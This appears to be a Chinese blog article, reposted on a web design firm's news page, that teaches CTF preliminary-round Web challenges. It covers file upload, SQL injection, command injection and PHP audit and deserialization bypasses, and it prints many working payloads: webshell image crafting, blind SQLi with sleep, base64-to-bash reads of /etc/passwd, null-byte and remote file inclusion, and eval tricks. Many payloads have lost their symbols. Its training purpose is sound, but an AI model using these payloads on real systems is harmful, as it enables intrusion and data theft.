资讯动态

国赛初赛Web低分题陷阱解析:文件上传、SQL注入、命令执行与代码审计实战

发布时间:2026/8/28 12:56:47 来源:尧图企业网站定制
1. 从“低分题”说起国赛初赛的入门与陷阱每年国内网络安全竞赛的初赛阶段总会设置几道分值不高、看似简单的Web题目。很多刚入门的选手包括当年的我都曾天真地以为这些“低分题”是送分项是快速拿分、拉开差距的捷径。但现实往往很骨感这些题目恰恰是淘汰率最高的区域之一。它们不像那些高难度、多步骤的综合渗透题需要深厚的知识储备和复杂的链式利用。低分题考察的是选手最基础的漏洞识别能力、对常见安全机制的绕过技巧以及——最重要的——细致入微的观察力和不走寻常路的思维习惯。我参加过多次比赛也带过不少新人队伍。一个非常普遍的现象是队伍在复杂的反序列化、内存破坏类题目上可能能折腾很久但偏偏会在一道简单的文件上传或者SQL注入题上卡壳甚至直接放弃。原因无他轻敌了。大家潜意识里觉得“这种题我平时练过无数遍”于是用最常规的payload去试发现不行就草草断定“题目出错了”或者“有鬼”。实际上出题人往往就是在这些最基础的漏洞点上设置了那么一两个精巧的、违背“常规经验”的过滤或校验来筛选掉那些只会“脚本小子”操作的选手。所以当我们谈论“国赛初赛Web低分题”时我们讨论的绝不是“简单题”而是**“基础题的精巧变种”**。它要求你对一个漏洞点的理解不能停留在工具和常见payload层面必须深入到HTTP协议、服务器解析逻辑、编程语言特性等更底层的地方。接下来我将结合常见的四类低分题场景文件上传、SQL注入、命令执行、代码审计/反序列化拆解其中的典型陷阱和破局思路。这些内容源于我真实的踩坑和解题经历希望能帮你建立起面对这类题目时应有的警觉和思考框架。2. 文件上传绕过那些“你以为”的防御文件上传是Web安全永恒的考点也是低分题里的常客。比赛中的上传漏洞很少会像靶场那样直接让你传个.php或.jsp就完事。它总会有防御而你的任务就是找到防御的盲点。2.1 前端验证那只是个礼貌的提醒很多题目会包含前端JavaScript验证比如检查文件后缀名。新手最容易犯的错误就是跟这个前端验证较劲试图去禁用JS或者修改前端代码。但在CTFCapture The Flag比赛中前端验证从来都不是真正的障碍它只是一个提示告诉你服务器端可能对后缀名有要求。真正的挑战在服务端。实战场景一个上传头像的功能前端JS只允许.jpg,.png,.gif。你通过Burp Suite拦截请求将文件后缀改为.php内容为直接上传。如果成功说明服务端没有任何过滤——但这种题不会出现在国赛。更可能的情况是你收到了“文件类型不合法”的提示。这时你的排查思路应该是系统性的检查Content-Type拦截上传包将Content-Type: application/php改为Content-Type: image/jpeg。这是最基础的绕过。后缀名混淆如果改Content-Type没用尝试各种后缀名变形。例如.php,.php3,.php4,.php5,.phtml某些服务器配置下仍可解析.php.末尾加点Windows系统可能会去掉.php%20空格URL编码.php::DATANTFS文件流特性Windows服务器.php.jpg双后缀然后利用服务器解析漏洞或配置错误大小写、点号、空格尝试.Php,.PHP,php.后面有点号再被截断。注意在实战或比赛中一定要结合题目提示或页面反馈信息。如果返回“文件类型不合法”和“文件后缀不合法”是两种不同的错误那就能帮你快速定位过滤点是在MIME类型检查还是后缀名检查阶段。2.2 服务端内容检测与解析漏洞当简单的后缀名绕过无效时问题可能更深。服务器可能检测文件内容或者存在解析漏洞。内容检测绕过服务器可能检查文件头Magic Bytes。例如一个图片马需要在文件开头包含真实的图片头如GIF89a后面再拼接PHP代码。用命令可以制作copy /b normal.jpg shell.php webshell.jpgWindows或cat normal.jpg shell.php webshell.jpgLinux。上传时可能仍需配合合法的后缀名。服务器解析漏洞这是低分题中的“宝藏点”因为需要特定环境。Apache解析漏洞旧版本上传shell.php.xxx其中xxx是服务器不认识的后缀如php.abc。Apache会从右向左解析不认识.abc于是继续向左将.php识别为有效后缀从而以PHP执行。但现代Apache很少见。IIS 6.0解析漏洞经典且著名。一是目录解析/upload/shell.asp/xxx.jpgIIS6会将xxx.jpg当作ASP文件执行。二是分号解析shell.asp;.jpgIIS6会忽略分号后的内容直接执行shell.asp。虽然环境古老但比赛中仍可能作为知识点考察。Nginx解析漏洞错误配置如果配置了fastcgi将.jpg文件交给PHP解析如location ~ \.php$ { ... }配置不当可能造成/upload/shell.jpg/xxx.php被解析。因为Nginx看到路径以.php结尾就交给PHP-FPM而PHP-FPM可能取PATH_INFOxxx.php或SCRIPT_FILENAMEshell.jpg来执行导致图片马被执行。这本质是配置错误非漏洞。实战心得遇到上传题先别急着上复杂姿势。用Burp Intruder或自己写个小脚本用一个包含简单输出语句如的webshell快速fuzz一批后缀名和Content-Type的组合观察响应长度或内容的变化能快速定位有效载荷。3. SQL注入在“被过滤”的关键词中寻找缝隙SQL注入题在低分区往往不是让你去猜列数、联合查询那么直接。它的核心是绕过过滤。过滤可能包括关键字过滤select,union,where,or等、空格过滤、引号过滤等。3.1 关键字过滤的绕过艺术当select、union等被过滤时你需要想到替换方案。双写绕过如果过滤是简单的字符串替换且只执行一次selselectect在经过过滤函数处理后中间的select被移除两边的字符拼起来又成了select。大小写绕过SeLeCt,UNiOn。如果过滤是大小写敏感的这招可能有效。编码绕过URL编码、十六进制编码、Unicode编码。例如select可以转换为十六进制0x73656c656374在MySQL中可以直接使用union select 1,2-union 0x73656c656374 1,2。但要注意编码后的内容通常需要数据库函数如unhex()来解码或者在某些上下文中直接识别。等价函数/语法替换这是最体现实力的地方。substr()被过滤试试mid(),substring()。被过滤试试like,rlike,regexp或者用不等于的逻辑取反或者用in()。or/and被过滤试试||和MySQL中需要设置PIPES_AS_CONCAT模式或者用位运算。空格被过滤用注释/**/代替空格如union/**/select/**/1,2。也可以用括号、换行符%0a、制表符%09。information_schema被过滤在MySQL 5.7和MariaDB中你可以尝试sys.schema_auto_increment_columns等视图但这需要高权限。更常见的考察点是无列名注入。当union select可用但无法得知列名时可以用select 1,2,3 union select * from (select 1)a join (select 2)b join (select 3)c;或者利用子查询和别名进行数据窃取。3.2 盲注与时间盲注中的过滤绕过在布尔盲注和时间盲注中过滤可能更严格。你需要构造出不包含敏感字符的payload。substr()和ascii()的替代如果这两个函数被禁盲注几乎无法进行。但你可以尝试用mid()或substring()代替substr。用ord()代替ascii()。更绝的是利用like和regexp进行逐位比较。例如猜解数据库名第一个字符and database() like a%。虽然效率低但能绕过函数过滤。时间函数绕过sleep()被过滤试试benchmark(10000000, md5(test))通过执行大量运算来延时。或者利用笛卡尔积制造延时and (select count(*) from information_schema.columns A, information_schema.columns B, information_schema.columns C) 0但这个不太稳定。一个真实的低分题案例题目只有一个输入框提示“找flag”。输入任何内容都回显“Hello, [输入]”。测试和都无错误但输入1 and 11和1 and 12回显相同。看起来没注入但输入1 and sleep(5) and 11页面有明显延迟。这是一道基于时间的盲注且过滤了空格和substr。最终payload构造为1/**/and/**/if(ascii(mid(database(),1,1))100,sleep(3),0)/**/and11。通过/**/代替空格用mid代替可能被过滤的substr成功进行注入。4. 命令执行突破“黑名单”的层层封锁命令执行RCE题目通常给你一个能够执行系统命令的点比如一个输入框但过滤了几乎所有危险的字符。你的目标是构造出能执行任意命令的字符串。4.1 命令连接符与通配符的妙用假设;,|,,,||,\n换行执行都被过滤了怎么办利用未过滤的连接符在Linux中反引号 和$()用于命令替换。如果出题人疏忽可能没过滤。你可以尝试ls或$(ls)。通配符绕过如果过滤了cat、flag等关键词可以用通配符*和?。假设flag文件在当前目录但cat被过滤。/bin/cat也被过滤试试cat单引号拼接或者用more,less,head,tail,nl,tac等命令代替。不知道flag文件名cat f*或cat fla?。如果连路径中的/都被过滤非常极端那就很麻烦了。但在Linux中你可以利用环境变量或printf构造。例如${PATH:0:1}在典型PATH值/usr/local/sbin:/usr...中取第一个字符是/。那么cat echo ${PATH:0:1}etcecho ${PATH:0:1}passwd可能可以执行cat /etc/passwd。这需要很强的脑洞和技巧。4.2 编码与变量拼接这是高阶绕过技巧在低分题中如果出现往往是解题的关键。Base64编码echo Y2F0IC9ldGMvcGFzc3dkCg | base64 -d | bash。这条命令将cat /etc/passwd的base64编码解码后通过管道传给bash执行。即使cat和空格被过滤但echo、base64、bash和管道符|可能还在白名单里。十六进制编码echo 636174202f6574632f706173737764 | xxd -r -p | bash原理同上。利用环境变量拼接ac;bat;cfl;dag;$a$b $c$d。这相当于执行了cat flag。通过将命令和参数拆分成多个变量然后拼接执行可以绕过基于字符串匹配的黑名单。实战踩坑点命令执行题目经常与权限相关。你成功执行了whoami发现是www-data。然后你兴冲冲地去读/flag或/root/flag发现权限不足。这时你需要思考提权Privilege Escalation但在低分题中通常不会考察复杂的提权。更可能的情况是Flag文件就在Web目录下或者权限是www-data可读。你需要利用当前用户权限去执行某个特定的、能读取flag的命令。比如题目可能有一个/readflag的SUID程序你需要执行它。你需要进行目录遍历。命令执行的结果可能被过滤了某些关键词如flag才显示你需要用ls -la /查看根目录再ls -la /homels -la /var/www一步步找到真正的flag文件位置。不要想当然。5. 代码审计与反序列化在简洁代码中洞察漏洞初赛的低分代码审计题代码量通常很少可能就十几行。但每一行都可能暗藏玄机。反序列化题目也类似给你一个简单的类让你构造pop链。5.1 微型代码审计的常见模式模式一弱类型比较与MD5绕过$flag flag{xxx}; if ($_GET[a] ! $_GET[b] md5($_GET[a]) md5($_GET[b])) { echo $flag; }这是经典题目。PHP的是弱类型比较0e开头的字符串在比较时会被当作科学计数法的0。所以你需要找到两个不同的字符串它们的MD5值都是0e开头且后面全是数字如240610708和QNKCDZO。或者利用数组绕过md5(array())返回NULLNULL NULL为真而array() ! array()为假不在PHP中两个数组比较如果键值对完全相同比较为真但!比较为假。但更重要的是md5()处理数组会报错并返回NULL所以md5($a)md5($b)成立都是NULL而$a!$b也成立两个不同的数组变量。Payload:?a[]1b[]2。模式二字符串处理函数漏洞$flag flag{xxx}; include($_GET[file] . .php);看起来是文件包含但拼接了.php。如果你直接?file../../../../etc/passwd会变成../../../../etc/passwd.php文件不存在。这里可能考察截断漏洞。在旧版本PHP5.3.4且magic_quotes_gpcOff时%00空字节可以作为字符串截断符。?file../../../../etc/passwd%00拼接后是../../../../etc/passwd\0.php\0之后的内容被忽略从而包含/etc/passwd。但现代PHP环境已修复。另一种可能是远程文件包含RFI如果allow_url_includeOn你可以?filehttp://your-server/shell但需要服务器能出网且后缀.php会被拼接你的shell需要是.php文件或者利用?等技巧?filehttp://your-server/shell.txt?这样最终变成http://your-server/shell.txt?.php?后面的部分在远程请求时被视为查询参数服务器可能返回shell.txt的内容。模式三反序列化中的“魔法方法”class Flag { public $file flag.php; public function __toString() { return file_get_contents($this-file); } } $data unserialize($_GET[input]); echo $data;题目给出了类定义并反序列化你的输入。目标是让echo $data;时触发__toString()方法。你需要构造一个Flag对象的序列化字符串。但注意echo一个对象如果类没有定义__toString()会报错。这里定义了所以直接构造即可O:4:Flag:1:{s:4:file;s:8:flag.php;}。但低分题可能增加难度比如$file是私有属性或者需要你从其他类中寻找pop链。关键点是熟悉__wakeup(),__destruct(),__toString(),__call()等魔术方法在反序列化链条中的触发时机。5.2 正则表达式的误用与绕过这也是低分审计题的爱好。if (preg_match(/flag/i, $_GET[input])) { die(hacker!); } else { eval($_GET[input]); }过滤了flag关键词但用了eval这是代码执行。你可以用多种方式绕过正则拼接$afl;$bag;$c$a.$b;然后去读取$c。但注意eval中你传入的是一段字符串代码你需要让拼接发生在执行时。Payload:?input$afl;$bag;echo $a.$b;这只是在输出字符串没有读文件。要读文件需要?inputreadfile(end(scandir(.)));假设flag文件在当前目录最后一个文件。编码?inputeval(hex2bin(...));但hex2bin本身可能被过滤。利用其他函数show_source(fl.ag.php);或highlight_file(fl.ag.php);。或者用glob函数列出文件print_r(glob(f*));。最重要的经验对于短小精悍的代码审计题不要一上来就想复杂。逐行阅读思考每个函数、每个操作符在PHP或其他语言中的特性和可能产生的非预期行为。特别是与strcmp()比较数组会返回NULLNULL0为真。in_array()默认松散比较可能造成类型混淆。preg_match()默认单行匹配/^flag$/m中的m模式会改变^和$的含义。file_get_contents()可以读取PHP文件源码吗可以但会被解析。需要用php://filter包装器file_get_contents(php://filter/convert.base64-encode/resourceflag.php)输出base64编码后的源码。面对低分题心态要稳手法要细。它不考验你的知识广度而考验你对基础知识的理解深度和灵活运用能力。把每一次“这题怎么这么怪”的抱怨变成“出题人在这里埋了什么坑”的探索你的实战能力才能真正得到提升。国赛初赛就是通过这些看似简单的“低分题”来完成对参赛者基本功的第一轮筛选。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价